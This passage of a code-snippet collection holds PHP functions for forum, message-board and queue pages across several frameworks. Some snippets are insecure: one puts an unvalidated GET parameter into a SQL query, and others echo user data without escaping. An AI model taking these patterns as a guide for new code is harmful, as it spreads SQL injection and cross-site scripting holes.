type=\"text/javascript\">\n\t\tipb.topic.inSection = 'searchview';\n\t</script>\n\t<if test=\"isAdmin:|:$this->memberData['g_is_supmod'] && $this->request['search_app_filters']['forums']['liveOrArchive'] != 'archive'\">\n\t<div id='topic_mod_2' class='moderation_bar rounded'>\n\t\t<form method=\"post\" id=\"modform\" name=\"modform\" action=\"{parse url=\"\" base=\"public\"}\">\n\t\t\t<fieldset>\n\t\t\t\t<input type=\"hidden\" name=\"app\" value=\"forums\" />\n\t \t\t\t<input type=\"hidden\" name=\"module\" value=\"moderate\" />\n\t \t\t\t<input type=\"hidden\" name=\"section\" value=\"moderate\" />\n\t \t\t\t<input type=\"hidden\" name=\"do\" value=\"postchoice\" />\n\t \t\t\t<input type=\"hidden\" name=\"auth_key\" value=\"{$this->member->form_hash}\" />\n\t \t\t\t<input type=\"hidden\" name=\"st\" value=\"{$this->request['st']}\" />\n\t \t\t\t<input type=\"hidden\" value=\"{$this->request['selectedpids']}\" name=\"selectedpidsJS\" id='selectedpidsJS' />\n\t\t\t\t<input type='hidden' name='fromSearch' value='1' />\n\t\t\t\t<input type='hidden' name='returnUrl' id='returnUrl' value='{$this->request['returnUrl']}' />\n\t\t\t\t<select name=\"tact\" class=\"input_select\" id='topic_moderation'>\n\t\t\t\t\t<option value='approve'>{$this->lang->words['cpt_approve']}</option>\n\t\t\t\t\t<option value='delete'>{$this->lang->words['cpt_hide']}</option>\n\t\t\t\t\t<option value='sundelete'>{$this->lang->words['cpt_undelete']}</option>\n\t\t\t\t\t<option value='deletedo'>{$this->lang->words['cpt_delete']}</option>\n\t\t\t\t\t<option value='merge'>{$this->lang->words['cpt_merge']}</option>\n\t\t\t\t\t<option value='split'>{$this->lang->words['cpt_split']}</option>\n\t\t\t\t\t<option value='move'>{$this->lang->words['cpt_move']}</option>\n\t\t\t\t</select>&nbsp;\n\t\t\t\t<input type=\"submit\" value=\"{$this->lang->words['jmp_go']}\" class=\"input_submit alt\" />\n\t\t\t</fieldset>\n\t\t</form>\n\t\t\n\t\t<script type='text/javascript'>\n\t\t\t/* Set return string */\n\t\t\t$('returnUrl').value = $('urlString').value;\n\t\t\t$('modform').observe('submit', ipb.topic.submitPostModeration );\n\t\t</script>\n\t</div>\n\t</if>\n\t<if test=\"disablelightbox:|:!$this->settings['disable_lightbox']\">\n\t\t{parse template=\"include_lightbox\" group=\"global\" params=\"\"}\n\t</if>\n</if>\r\nEOF;\r\n//--endhtml--//\r\nreturn $IPBHTML;\r\n}", "public function index()\n\t{\n\t\t$data['title'] = \"Doctor's Queue\";\n\t\t$data['role'] = $this->session->userdata('role');\n\n $this->load->view('templates/header', $data);\n $this->load->view('templates/queue');\n\t}", "public function index()\n {\n return Forum::all();\n }", "function scrivitop5listathread() {\n\tconnetti($db);\n\t$query = \"SELECT postusername, count(*) thread FROM `vb_thread` where postusername<>'' and postuserid<>770 group by postusername order by thread desc limit 5\";\n\t$result = seleziona($db, $query);\n\t$n_righe = get_num_rows($result);\n\tif ($n_righe > 0) {\n\t\techo '<table id=\"elenco\">';\n\t\techo '<tr><th>Utente</th><th>Thread aperti</th>';\n\t\tfor ($i = 0; $i < $n_righe; $i++) {\n\t\t\t$riga = scorri_record($result);\n\t\t\techo '<tr><td>' . $riga['postusername'] . '</td><td>' . $riga['thread'] . '</td></tr>';\n\t\t}\n\t\techo '</table>';\n\t}\n}", "public function actionIndex()\n {\n $searchModel = new ThreadSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function index()\n {\n $posts = Forum::with('user')->where('active', 1)->orderBy('created_date', 'DESC')->paginate(5);\n \n return view('forum.index')->with(['posts' => $posts]);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('APiszczekDemoBundle:Thread')->findAll();\n\n return $this->render('APiszczekDemoBundle:Thread:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "function DisplayMenu()\n {\n global $DB, $sdlanguage, $userinfo;\n\n $newposts = isset($_GET['newposts']);\n $outer_div = '\n <div id=\"forum-breadcrumb\">\n ';\n $inner_div = '\n <div class=\"breadcrumb\">\n ';\n\n $part1 = '';\n if($this->conf->topic_id)\n {\n //SD343 SEO Forum Title linking\n $link = $this->conf->RewriteForumLink($this->conf->topic_arr['forum_id']);\n $part1 .= '<a href=\"' . $this->conf->current_page . '\">'.$this->conf->plugin_phrases_arr['breadcrumb_forum'].'</a>';\n $part1 .= ' &raquo; <a href=\"' . $link . '\">' .\n trim($this->conf->forum_arr['title']) . '</a>';\n }\n else if($this->conf->forum_id)\n {\n $part1 .= '<a href=\"' . $this->conf->current_page . '\">'.$this->conf->plugin_phrases_arr['breadcrumb_forum'].'</a>';\n }\n else\n if(isset($this->conf->search_text) && (strlen($this->conf->search_text) > 2))\n {\n $this->conf->search_text = str_replace('\\_', '_', $this->conf->search_text);\n $this->conf->search_text = str_replace('\\?', '?', $this->conf->search_text);\n $part1 .= '<a href=\"' . $this->conf->current_page . '\">'.$this->conf->plugin_phrases_arr['breadcrumb_forum'].'</a> &raquo; '.\n $this->conf->plugin_phrases_arr['search_results_for'].\n ' <strong>'.unhtmlspecialchars($this->conf->search_text).'</strong>';\n }\n else\n if(isset($this->conf->search_tag) && (strlen($this->conf->search_tag) > 2))\n {\n $this->conf->search_tag = str_replace('\\_', '_', $this->conf->search_tag);\n $this->conf->search_tag = str_replace('\\?', '?', $this->conf->search_tag);\n $part1 .= '<a href=\"' . $this->conf->current_page . '\">'.\n $this->conf->plugin_phrases_arr['breadcrumb_forum'].'</a> ';\n }\n else\n if($newposts)\n {\n $part1 .= '<a href=\"' . $this->conf->current_page . '\">'.$this->conf->plugin_phrases_arr['breadcrumb_forum'].'</a>';\n }\n\n if(strlen($part1))\n {\n $part1 = $inner_div . $part1.'\n </div>';\n }\n\n // SD313: enable search header?\n $inner_div = '\n <div style=\"float: right; display: inline; padding: 4px;\">\n <span style=\"display: inline\"><a href=\"'.RewriteLink('index.php?categoryid='.PAGE_ID.'&newposts=1').'\">'.$this->conf->plugin_phrases_arr['new_posts'].'</a></span>\n <span style=\"display: inline\"> | </span>\n <a rel=\"nofollow\" href=\"#\" title=\"'.$this->conf->plugin_phrases_arr['search_forums'].'\" id=\"forum_search_link\">'.$this->conf->plugin_phrases_arr['search_forums'].'</a>\n </div>\n ';\n $part2 = '';\n if($this->conf->plugin_settings_arr['enable_search'] && (!empty($userinfo['loggedin']) || empty($this->conf->plugin_settings_arr['disable_guest_search'])))\n {\n $searchtopics = !isset($_POST['forum_search']) || !empty($_POST['searchtopics']);\n $searchposts = !isset($_POST['forum_search']) || !empty($_POST['searchposts']);\n $searchusers = false;\n $searchtags = !empty($_POST['searchtags']); //SD343\n $part2 = '\n <div class=\"forum-search\" style=\"display: none\">\n <form id=\"forum-searchbar\" action=\"' .$this->conf->current_page . '\" method=\"post\">\n '.PrintSecureToken(FORUM_TOKEN).'\n <input type=\"text\" tabindex=\"1001\" id=\"forum_search\" value=\"'.\n ($this->conf->action == 'search_forums' ? htmlspecialchars($this->conf->search_text, ENT_COMPAT) : '') .\n '\" name=\"forum_search\" /><input type=\"submit\" tabindex=\"1002\" id=\"search\" value=\"'.\n htmlspecialchars($this->conf->plugin_phrases_arr['search'], ENT_COMPAT).'\" />\n <br />\n <label for=\"forum_st\"><input type=\"checkbox\" name=\"searchtopics\" value=\"1\" id=\"forum_st\" tabindex=\"1003\" '.($searchtopics?'checked=\"checked\"':'').' /> '.$this->conf->plugin_phrases_arr['search_topics'].'</label><br />\n <label for=\"forum_sp\"><input type=\"checkbox\" name=\"searchposts\" value=\"1\" id=\"forum_sp\" tabindex=\"1004\" '.($searchposts ?'checked=\"checked\"':'').' /> '.$this->conf->plugin_phrases_arr['search_posts'].'</label><br />\n <label for=\"forum_su\"><input type=\"checkbox\" name=\"searchusers\" value=\"1\" id=\"forum_su\" tabindex=\"1005\" '.($searchusers ?'checked=\"checked\"':'').' /> '.$this->conf->plugin_phrases_arr['search_usernames'].'</label><br />\n <label for=\"forum_tag\"><input type=\"checkbox\" name=\"searchtags\" value=\"1\" id=\"forum_tag\" tabindex=\"1006\" '.($searchtags?'checked=\"checked\"':'').' /> '.$sdlanguage['common_search_tags'].'</label><br />\n </form>\n ';\n }\n\n if(strlen($part2))\n {\n $part2 = $inner_div . $part2.'\n </div>';\n }\n\n $forum_menu = $part1.$part2;\n if(strlen($forum_menu))\n {\n echo $forum_menu.'\n <div class=\"clear\"></div>\n ';\n }\n\n return true;\n\n }", "function recent_forums_widget( $args = '' ) {\n\n\t// This widget depends on BuddyPress, so bail if it's not active \n\tif ( !function_exists( 'bp_version' ) )\n\t\treturn false;\n\n\t// Defaults and arguments \n\t$defaults = array (\n\t\t'number'\t\t=> 3,\n\t\t'post_types'\t=> array( 'topic' , 'reply' ), \n\t\t'size'\t\t\t=> 50,\n\t\t);\t\t\t\n\t$args = wp_parse_args( $args , $defaults );\n\textract( $args, EXTR_SKIP );\n\n\t// Submit the query \n\t$widget_query = new WP_Query( array(\n\t\t'post_type' => $args['post_types'],\n\t\t'post_status' => join( ',', array( bbp_get_public_status_id(), bbp_get_closed_status_id() ) ),\n\t\t'posts_per_page' => $args['number']\n\t) );\n\n\t\n\t// Get replies and display them \n\tif ( $widget_query->have_posts() ) : ?>\n\t<div class=\"forum-replies-widget widget\">\n\t\t<header class=\"widget-header\"><h3 class=\"widget-title\">Forum Activity</h3></header>\n\t\t<ul class=\"recent-discussion-list\">\n\t\t\n\t\t<?php $post_alt = 1;\n\t\twhile ( $widget_query->have_posts() ) : $widget_query->the_post(); \n\n\t\t\t// Get some info about the post \n\t\t\t$post_id\t\t= $widget_query->post->ID;\n\t\t\t$author_id \t\t= $widget_query->post->post_author;\n\t\t\t$post_type\t\t= $widget_query->post->post_type;\t\n\t\t\t$post_title \t= ucfirst( $widget_query->post->post_title );\n\t\t\t$author_name\t= bp_core_get_user_displayname( $author_id );\n\t\t\t$author_link \t= bp_core_get_userlink( $author_id );\n\t\t\t$avatar\t\t\t= new Apoc_Avatar( array( 'user_id' => $author_id , 'type' => 'thumb' , 'size' => $size ) );\n\t\t\t\n\t\t\t// Get the post time, and make it relative \n\t\t\t$post_time \t\t= get_the_time( 'U' , false );\n\t\t\t$current_time\t= strtotime( current_time( 'mysql', false ) );\n\t\t\t$post_time\t\t= bp_core_time_since( $post_time , $current_time );\t\n\t\t\t$post_time \t\t= '<time class=\"recent-discussion-time\" datetime=\"' . get_the_time( 'Y-m-d\\TH:i' ) . '\">' . $post_time . '</time>';\t\n\n\t\t\t// Handle topics and replies differently \n\t\t\tif ( $post_type == 'reply' ) {\n\t\t\t\t$post_link = '<a href=\"' . esc_url( bbp_get_reply_url( $post_id ) ) . '\">' . bbp_get_reply_topic_title( $post_id ) . '</a>';\n\t\t\t\t$author = $author_link . ' replied to the topic:';\n\t\t\t} else {\n\t\t\t\t$post_link = '<a class=\"bbp-widget-replies-title\" href=\"' . esc_url( $widget_query->post->guid ) . '\">' . $post_title . '</a>';\n\t\t\t\t$author = $author_link . ' created a new topic:';\n\t\t\t}\t\t\t\n\t\t\n\t\t\t// Count evens and odds \n\t\t\t$class = ( $post_alt % 2 ) ? 'odd' : 'even' ;\n\t\t\t$post_alt++;\n\n\t\t\t// Display the topics \n echo '<li class=\"recent-discussion '.$class.'\">'; ?>\n\t\t\t\t<a class=\"discussion-avatar\" href=\"<?php echo bp_core_get_user_domain( $author_id ); ?>\" title=\"View <?php echo $author_name; ?>'s Profile\"><?php echo $avatar->avatar; ?></a>\n\t\t\t\t<div class=\"recent-discussion-content\">\n\t\t\t\t\t<span class=\"recent-discussion-title\">\n\t\t\t\t\t\t<?php echo $author . ' ' . $post_link; ?>\n\t\t\t\t\t</span>\n\t\t\t\t\t<?php echo $post_time; ?>\n\t\t\t\t</div> \n </li>\t\t\n\t\t\t<?php endwhile; ?>\n\t\t</ul>\n\t</div>\n<?php endif;\t\t\t\n}", "public function forum_list ($theCode, $storeObject, array $linkParams) {\n $conf = $storeObject->getConf();\n $modelObj = $storeObject->getModelObj();\n $markerObj = $storeObject->getMarkerObj();\n $languageObj = $storeObject->getLanguageObj();\n $alternativeLayouts = $storeObject->getAlternativeLayouts();\n $allowCaching = $storeObject->getAllowCaching();\n\n $local_cObj = \\JambageCom\\Div2007\\Utility\\FrontendUtility::getContentObjectRenderer();\n $local_cObj->setCurrentVal($GLOBALS['TSFE']->id);\n $forum_cObj = \\JambageCom\\Div2007\\Utility\\FrontendUtility::getContentObjectRenderer(array(), $modelObj->getTablename());\n\n if (!$storeObject->getTtBoardUid()) {\n $forumlist = 0;\t\t// set to true if this is a list of forums and not categories + forums\n if ($theCode == 'LIST_CATEGORIES') {\n // Config if categories are listed.\n $lConf = $conf['list_categories.'];\n } else {\n $forumlist = 1;\n // Config if forums are listed.\n $lConf = $conf['list_forums.'];\n $lConf['noForums'] = 0;\n }\n\n $GLOBALS['TSFE']->set_cache_timeout_default($lConf['cache_timeout'] ? intval($lConf['cache_timeout']) : 300);\n $templateCode =\n $local_cObj->getSubpart(\n $storeObject->getOrigTemplateCode(),\n '###TEMPLATE_OVERVIEW###'\n );\n\n if ($templateCode) {\n // Clear\n $subpartMarkerArray = array();\n $wrappedSubpartContentArray = array();\n\n // Getting the specific parts of the template\n $markerObj->getColumnMarkers(\n $markerArray,\n $languageObj\n );\n $templateCode =\n $local_cObj->substituteMarkerArrayCached(\n $templateCode,\n $markerArray,\n $subpartMarkerArray,\n $wrappedSubpartContentArray\n );\n\n // Getting the specific parts of the template\n $categoryHeader =\n $markerObj->getLayouts(\n $templateCode,\n $alternativeLayouts,\n 'CATEGORY'\n );\n $forumHeader =\n $markerObj->getLayouts(\n $templateCode,\n $alternativeLayouts,\n 'FORUM'\n );\n $postHeader =\n $markerObj->getLayouts(\n $templateCode,\n $alternativeLayouts,\n 'POST'\n );\n $subpartContent = '';\n\n // Getting categories\n $categories = $modelObj->getPagesInPage($storeObject->getPidList());\n $c_cat = 0;\n\n foreach ($categories as $k => $catData) {\n // Getting forums in category\n if ($forumlist) {\n $forums = $categories;\n } else {\n $forums = $modelObj->getPagesInPage($catData['uid']);\n }\n\n if (!$forumlist && count($categoryHeader)) {\n // Rendering category\n $out = $categoryHeader[$c_cat % count($categoryHeader)];\n $c_cat++;\n $local_cObj->start($catData);\n\n // Clear\n $markerArray = array();\n $wrappedSubpartContentArray = array();\n\n // Markers\n $markerArray['###CATEGORY_TITLE###'] =\n $local_cObj->stdWrap(\n $markerObj->formatStr(\n $catData['title']\n ),\n $lConf['title_stdWrap.']\n );\n $markerArray['###CATEGORY_DESCRIPTION###'] =\n $local_cObj->stdWrap(\n $markerObj->formatStr(\n $catData['subtitle']\n ),\n $lConf['subtitle_stdWrap.']\n );\n $markerArray['###CATEGORY_FORUMNUMBER###'] =\n $local_cObj->stdWrap(\n count($forums),\n $lConf['count_stdWrap.']\n );\n\n $pageLink =\n \\tx_div2007_alpha5::getPageLink_fh003(\n $storeObject->getCObj(),\n $catData['uid'],\n '',\n $linkParams,\n array('useCacheHash' => $allowCaching)\n );\n\n $wrappedSubpartContentArray['###LINK###'] =\n array('<a href=\"' . htmlspecialchars($pageLink) . '\">',\n '</a>'\n );\n\n // Substitute\n $subpartContent .=\n $local_cObj->substituteMarkerArrayCached(\n $out,\n $markerArray,\n array(),\n $wrappedSubpartContentArray\n );\n }\n\n if (count($forumHeader) && !$lConf['noForums']) {\n // Rendering forums\n $c_forum = 0;\n foreach($forums as $forumData) {\n $contentRow = $this->getContentRecord($forumData['uid']);\n $out = $forumHeader[$c_forum % count($forumHeader)];\n $c_forum++;\n $forum_cObj->start($forumData);\n\n // Clear\n $markerArray = array();\n $wrappedSubpartContentArray = array();\n\n // Markers\n $markerArray['###FORUM_TITLE###'] =\n $forum_cObj->stdWrap(\n $markerObj->formatStr(\n $forumData['title']\n ),\n $lConf['forum_title_stdWrap.']\n );\n\n $markerArray['###FORUM_DESCRIPTION###'] =\n $forum_cObj->stdWrap(\n $markerObj->formatStr(\n $forumData['subtitle']\n ),\n $lConf['forum_description_stdWrap.']\n );\n\n $pid = (\n isset($contentRow) &&\n is_array($contentRow) &&\n $contentRow['pages'] ?\n $contentRow['pages'] :\n $forumData['uid']\n );\n $markerArray['###FORUM_POSTS###'] =\n $forum_cObj->stdWrap(\n $modelObj->getNumPosts($pid),\n $lConf['forum_posts_stdWrap.']\n );\n $markerArray['###FORUM_THREADS###'] =\n $forum_cObj->stdWrap(\n $modelObj->getNumThreads($pid),\n $lConf['forum_threads_stdWrap.']\n );\n\n // Link to the forum (wrap)\n $pageLink =\n \\tx_div2007_alpha5::getPageLink_fh003(\n $storeObject->getCObj(),\n $forumData['uid'],\n '',\n $linkParams,\n array('useCacheHash' => $allowCaching)\n );\n $wrappedSubpartContentArray['###LINK###'] =\n array(\n '<a href=\"' . htmlspecialchars($pageLink) . '\">',\n '</a>'\n );\n\n // LAST POST:\n $lastPostInfo = $modelObj->getLastPost($pid);\n $forum_cObj->start($lastPostInfo);\n\n if ($lastPostInfo) {\n $markerArray['###LAST_POST_AUTHOR###'] =\n $forum_cObj->stdWrap($markerObj->formatStr($lastPostInfo['author']), $lConf['last_post_author_stdWrap.']);\n $markerArray['###LAST_POST_DATE###'] =\n $forum_cObj->stdWrap(\n $modelObj->recentDate(\n $lastPostInfo\n ),\n $conf['date_stdWrap.']\n );\n $markerArray['###LAST_POST_TIME###'] =\n $forum_cObj->stdWrap(\n $modelObj->recentDate(\n $lastPostInfo\n ),\n $conf['time_stdWrap.']\n );\n $markerArray['###LAST_POST_AGE###'] =\n $forum_cObj->stdWrap(\n $modelObj->recentDate($lastPostInfo),\n $conf['age_stdWrap.']\n );\n } else {\n $markerArray['###LAST_POST_AUTHOR###'] = '';\n $markerArray['###LAST_POST_DATE###'] = '';\n $markerArray['###LAST_POST_TIME###'] = '';\n $markerArray['###LAST_POST_AGE###'] = '';\n }\n\n // Link to the last post\n $overrulePIvars =\n array_merge(\n $linkParams,\n array('uid' => $lastPostInfo['uid'])\n );\n $pageLink =\n \\tx_div2007_alpha5::getPageLink_fh003(\n $storeObject->getCObj(),\n $contentRow['pid'],\n '',\n $overrulePIvars,\n array('useCacheHash' => $allowCaching)\n );\n\n $wrappedSubpartContentArray['###LINK_LAST_POST###'] =\n array(\n '<a href=\"' . htmlspecialchars($pageLink) . '\">',\n '</a>'\n );\n\n // Add result\n $subpartContent .=\n $forum_cObj->substituteMarkerArrayCached(\n $out,\n $markerArray,\n array(),\n $wrappedSubpartContentArray\n );\n\n // Rendering the most recent posts\n if (count($postHeader) && $lConf['numberOfRecentPosts']) {\n $recentPosts =\n $modelObj->getMostRecentPosts(\n $forumData['uid'],\n intval($lConf['numberOfRecentPosts']),\n intval($lConf['numberOfRecentDays'])\n );\n\n $c_post = 0;\n foreach($recentPosts as $recentPost) {\n $out = $postHeader[$c_post % count($postHeader)];\n $c_post++;\n $forum_cObj->start($recentPost);\n\n // Clear:\n $markerArray = array();\n $wrappedSubpartContentArray = array();\n\n // markers:\n $markerArray['###POST_TITLE###'] =\n $forum_cObj->stdWrap(\n $markerObj->formatStr(\n $recentPost['subject']\n ),\n $lConf['post_title_stdWrap.']\n );\n $markerArray['###POST_CONTENT###'] =\n $markerObj->substituteEmoticons(\n $forum_cObj->stdWrap(\n $markerObj->formatStr(\n $recentPost['message']\n ),\n $lConf['post_content_stdWrap.']\n )\n );\n $markerArray['###POST_REPLIES###'] =\n $forum_cObj->stdWrap(\n $modelObj->getNumReplies(\n $recentPost['pid'],\n $recentPost['uid']\n ),\n $lConf['post_replies_stdWrap.']\n );\n $markerArray['###POST_AUTHOR###'] =\n $forum_cObj->stdWrap(\n $markerObj->formatStr(\n $recentPost['author']\n ),\n $lConf['post_author_stdWrap.']\n );\n $markerArray['###POST_DATE###'] =\n $forum_cObj->stdWrap(\n $modelObj->recentDate(\n $recentPost\n ),\n $conf['date_stdWrap.']\n );\n $markerArray['###POST_TIME###'] =\n $forum_cObj->stdWrap(\n $modelObj->recentDate(\n $recentPost\n ),\n $conf['time_stdWrap.']\n );\n $markerArray['###POST_AGE###'] =\n $forum_cObj->stdWrap(\n $modelObj->recentDate(\n $recentPost\n ),\n $conf['age_stdWrap.']\n );\n\n // Link to the post:\n $forum_cObj->setCurrentVal($recentPost['pid']);\n $temp_conf = $storeObject->getTypolinkConf();\n $temp_conf['additionalParams'] .= '&tt_board_uid=' . $recentPost['uid'];\n $temp_conf['useCacheHash'] = $allowCaching;\n $temp_conf['no_cache'] = !$allowCaching;\n $wrappedSubpartContentArray['###LINK###'] =\n $forum_cObj->typolinkWrap($temp_conf);\n\n $overrulePIvars =\n array_merge(\n $linkParams,\n array('uid' => $recentPost['uid'])\n );\n $pageLink =\n \\tx_div2007_alpha5::getPageLink_fh003(\n $storeObject->getCObj(),\n $recentPost['pid'],\n '',\n $overrulePIvars,\n array('useCacheHash' => $allowCaching)\n );\n\n $wrappedSubpartContentArray['###LINK###'] =\n array(\n '<a href=\"' . htmlspecialchars($pageLink) . '\">',\n '</a>'\n );\n\n $subpartContent .=\n $forum_cObj->substituteMarkerArrayCached(\n $out,\n $markerArray,\n array(),\n $wrappedSubpartContentArray\n );\n }\n }\n }\n }\n if ($forumlist) {\n break;\n }\n }\n\n // Substitution:\n $content .=\n $local_cObj->substituteSubpart(\n $templateCode,\n '###CONTENT###',\n $subpartContent\n ) ;\n } else {\n $content = $this->outMessage('No template code for ###TEMPLATE_OVERVIEW###');\n }\n }\n\n return $content;\n }", "public function actionQueue(){\n\t\t$model = new XUploadForm;\n\t\t$this->render('queue', array(\n\t\t\t'model' => $model,\n\t\t));\n\t}", "public function show(forum $forum)\n {\n //\n }", "function show_all_messages($board){\n\t\tglobal $print, $x7s, $x7c, $db, $prefix;\n\n\t\t$head=\"Board \".$board['name'];\n\t\t$body=\"<script language=\\\"javascript\\\" type=\\\"text/javascript\\\">\n function do_delete(url){\n if(!confirm('Vuoi davvero cancellare il messaggio?'))\n return;\n\n window.location.href=url;\n }\n </script>\n\t\t\";\n\t\t$indice = indice_board();\n\t\t\n\t\t$maxmsg=10;\n\t\t$navigator='<p style=\"text-align: center;\">';;\n\t\t\n\t\tif(isset($_GET['startfrom'])){\n\t\t\t$limit=$_GET['startfrom'];\n\t\t}\n\t\telse\n\t\t\t$limit=0;\n\t\t\n\t\t$query = $db->DoQuery(\"SELECT count(*) AS total FROM {$prefix}boardmsg WHERE board='{$board['id']}' AND father='0'\");\n\t\t$row = $db->Do_Fetch_Assoc($query);\n\t\t$total = $row['total'];\n\t\t\n\t\tif($total > $maxmsg){\n\t\t\t$i=0;\n\t\t\twhile($total > 0){\n\t\t\t\tif((isset($_GET['startfrom']) && $_GET['startfrom'] == $i) || (!isset($_GET['startfrom']) && $i == 0))\n\t\t\t\t\t$navigator .= \"<a href=\\\"index.php?act=boards&board=$board[id]&startfrom=$i\\\"><b>[\".($i+1).\"]</b></a> \";\n\t\t\t\telse\n\t\t\t\t\t$navigator .= \"<a href=\\\"index.php?act=boards&board=$board[id]&startfrom=$i\\\">\".($i+1).\"</a> \";\n\t\t\t\t$i++;\n\t\t\t\t$total -= $maxmsg;\n\t\t\t\t\n\t\t\t}\n\t\t\t$navigator.=\"</p>\";\n\t\t}\n\t\t\n\t\t\t\n\t\t$limit_min = $limit * $maxmsg;\n\t\t$limit_max = $maxmsg;\t\t\n\t\t\n\t\t$query = $db->DoQuery(\"SELECT * FROM {$prefix}boardmsg \n\t\t\t\tWHERE board='{$board['id']}' \n\t\t\t\tAND father='0' ORDER BY last_update DESC LIMIT $limit_min, $limit_max\");\n\n\t\t\n\t\tif(!$board['readonly'] || checkIfMaster()){\n\t\t\t$body .=\"<a href=./index.php?act=boards&send=\".$board['id'].\">Nuova comunicazione</a><br>\";\n\t\t}\n\t\t\n\t\t$body.=$navigator;\n\t\t$unreads = get_unread();\n\t\twhile($row = $db->Do_Fetch_Assoc($query)){\n\t\t\t$q_new = $db->DoQuery(\"SELECT count(*) AS cnt FROM {$prefix}boardmsg msg, {$prefix}boardunread un\n\t\t\t\t\t\tWHERE\tmsg.id=un.id\n\t\t\t\t\t\tAND un.user='{$x7s->username}'\n\t\t\t\t\t\tAND board='{$board['id']}' AND father='$row[id]'\");\n\t\t\t$new_replies = $db->Do_Fetch_Assoc($q_new);\n\t\t\t\n\t\t\t$unread='';\n\t\t\tif(isset($unreads[$row['id']]))\n\t\t\t\t$unread = \"<b>(Nuovo) </b>\";\n\n\t\t\tif($new_replies['cnt']>0){\n\t\t\t\t$unread .= \"<b>(Nuove repliche: $new_replies[cnt])</b>\";\n\t\t\t}\n\t\t\t\n\t\t\t$nb = board_msg_split($row['body']);\n\t\t\t$msg = $nb[0];\n\t\t\t$object = $nb[1];\n\t\t\t$msgid=$row['id'];\n\t\t\t$user=$row['user'];\n\n\t\t\tif ($row['anonymous']) {\n\t\t\t\tif (checkIfMaster()) {\n\t\t\t\t\t$user .= \" (anonimo)\";\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$user = \"Anonimo\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$body.=\"<p>\".$user.\"<br><a href=./index.php?act=boards&board=\".$board['id'].\"&message=\".$row['id'].\">\n\t\t\t\t <b>\".$object.\"</b> \".$unread.\"</a>\";\n\t\t\t\t\n\t\t\tif(checkIfMaster()){\n\t\t\t\t$startfrom = \"\";\n\t\t\t\tif (isset($_GET['startfrom']))\n\t\t\t\t\t$startfrom = \"&startfrom=\".$_GET['startfrom'];\n\n\t\t\t\t$body.=\" <a href=\\\"#\\\" onClick=\\\"javascript: do_delete('./index.php?act=boards&delete=$msgid$startfrom')\\\">[Delete]</a>\";\n\t\t\t\t$body.=\" <a href=./index.php?act=boards&move=$msgid>[Sposta]</a>\";\n }\n\t\t\t\n\t\t\t$body.=\"</p><hr>\";\n\t\t\n\t\t}\n\t\t$body.=$navigator;\n\t\tif(!$board['readonly'] || checkIfMaster()){\n\t\t\t$body .=\"<br><br><a href=./index.php?act=boards&send=\".$board['id'].\">Nuova comunicazione</a><br>\";\n\t\t}\n\t\t\n\t\t$print->board_window($head,$body,$indice);\n\t\t\n\t}", "public function getListQueue($iLimit = 5)\n {\n if($iLimit == 0) $iLimit = 5;\n\n $aQueueUsers = QueueUser::where([\n ['queue_id', '=', $this->c->active]\n ])\n ->orderBy('created_at', 'asc')\n ->limit($iLimit === false ? 50 : (int) $iLimit)\n ->get();\n\n if(!$aQueueUsers || $aQueueUsers->isEmpty())\n {\n return $this->returnText('Unable to list queue'. ($this->q->name ? ' \\''. $this->q->name .'\\'' : '') .', queue is empty');\n }\n else\n {\n $aUsers = [];\n foreach($aQueueUsers AS $oQueueUser)\n {\n $aUsers[] = $oQueueUser->user->displayName;\n }\n return $this->returnText('Next '. (count($aUsers) > 1 ? count($aUsers) .' persons' : 'person') .' in the queue'. $this->q->displayName .': '. implode(\", \", $aUsers));\n }\n }", "private function my_posts_list()\n\t{\n\t\t$posts = ORM::factory('forum_cat_post')\n\t\t\t->select('forum_cat_posts.*, forum_cats.name, forum_cats.url')\n\t\t\t->with('forum_cat_post_comment')\n\t\t\t->join('forum_cats', 'forum_cats.id', 'forum_cat_posts.forum_cat_id')\n\t\t\t->where('forum_cat_post_comment.owner_id', $this->owner->get_user()->id)\n\t\t\t->orderby(\"forum_cat_post_comment.$this->sort_by\", $this->order)\n\t\t\t->find_all();\n\t\tif(0 == $posts->count())\n\t\t\treturn 'No posts created yet.';\n\n\t\t$view\t\t\t= new View('public_forum/posts_list');\t\n\t\t$view->posts \t= $posts;\n\t\treturn $view;\n\t}", "function show_forum_title($category, $forum, $thread, $link_thread=false) {\n if ($category) {\n $is_helpdesk = $category->is_helpdesk;\n } else {\n $is_helpdesk = false;\n }\n\n $where = $is_helpdesk?tra(\"Questions and Answers\"):tra(\"Message boards\");\n $top_url = $is_helpdesk?\"forum_help_desk.php\":\"forum_index.php\";\n\n if (!$forum && !$thread) {\n echo \"<span class=\\\"title\\\">$where</span>\\n\";\n\n } else if ($forum && !$thread) {\n echo \"<span class=title>\";\n echo \"<a href=\\\"$top_url\\\">$where</a> : \";\n echo $forum->title;\n echo \"</span>\";\n } else if ($forum && $thread) {\n echo \"<span class=title>\n <a href=\\\"$top_url\\\">$where</a> : \n <a href=\\\"forum_forum.php?id=\".$forum->id.\"\\\">\", $forum->title, \"</a> : \n \";\n if ($link_thread) {\n echo \"<a href=forum_thread.php?id=$thread->id>\";\n }\n echo cleanup_title($thread->title);\n if ($link_thread) {\n echo \"</a>\";\n }\n echo \"</span>\";\n } else {\n echo \"Invalid thread ID\";\n }\n}", "function thread( $args )\n\t{\n\t $thread_id = (int)$args['id'];\n\t \n\t // check for existance, use threads model\n\t $threads_model = $this->app->\n\t model('forum_threads','forum/models');\n\t \n\t\t// boards model\n\t\t$boards_model = $this->app->\n\t\t model('forum_boards', 'forum/models'); \n\t \n\t // posts model\n\t $posts_model = $this->app->\n\t model('forum_posts','forum/models');\n\t \n\t // get item\n\t $thread = $threads_model->get_item( $thread_id );\n\t $thread = ( count($thread) > 0 ) ? $thread[0] : null;\n\t \n\t \n\t // imprtant stuffs\n\t if( $thread == null ){\n\t \n\t \t// redirect\n\t \t$this->app->redirect('forum');\n\t }\n\t \n\t \n // get board\n $board = $boards_model->get_item((int)$thread['board_id']);\n $board = $board[0];\n \n // set page title\n $this->view->add('page_title',\n 'Viewing thread: ' . $thread['name'] );\n \n // set index action\n $this->view->add('index_action',\n $this->app->form_path('forum'));\n \n // set board action\n $this->view->add('board_action',\n 